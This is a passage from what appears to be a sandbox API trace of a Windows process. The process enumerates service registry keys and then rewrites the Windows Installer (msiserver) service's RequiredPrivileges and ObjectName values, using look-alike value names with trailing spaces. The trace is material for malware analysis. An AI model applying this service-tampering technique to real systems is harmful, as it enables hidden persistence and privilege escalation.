lpName="ldap") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0251.412] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0251.413] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0251.414] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.414] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0251.414] RegCloseKey (hKey=0xc4) returned 0x0 [0251.414] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.414] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.414] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.415] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.415] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.415] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.416] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.416] RegCloseKey (hKey=0x148) returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.416] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0251.416] RegCloseKey (hKey=0xc4) returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.416] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.417] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.417] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.417] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.417] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.417] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.417] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.417] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.417] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.418] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.419] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.419] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.419] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0251.419] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0251.419] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeCreateGlobalPrivilege", cbData=0x18 | out: lpData="SeCreateGlobalPrivilege") returned 0x0 [0251.419] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0251.419] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.419] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.420] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.421] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.421] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.421] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.421] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.421] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0251.421] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.421] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.421] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.421] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0251.422] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0251.422] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0251.423] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.423] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0251.423] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0251.423] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, 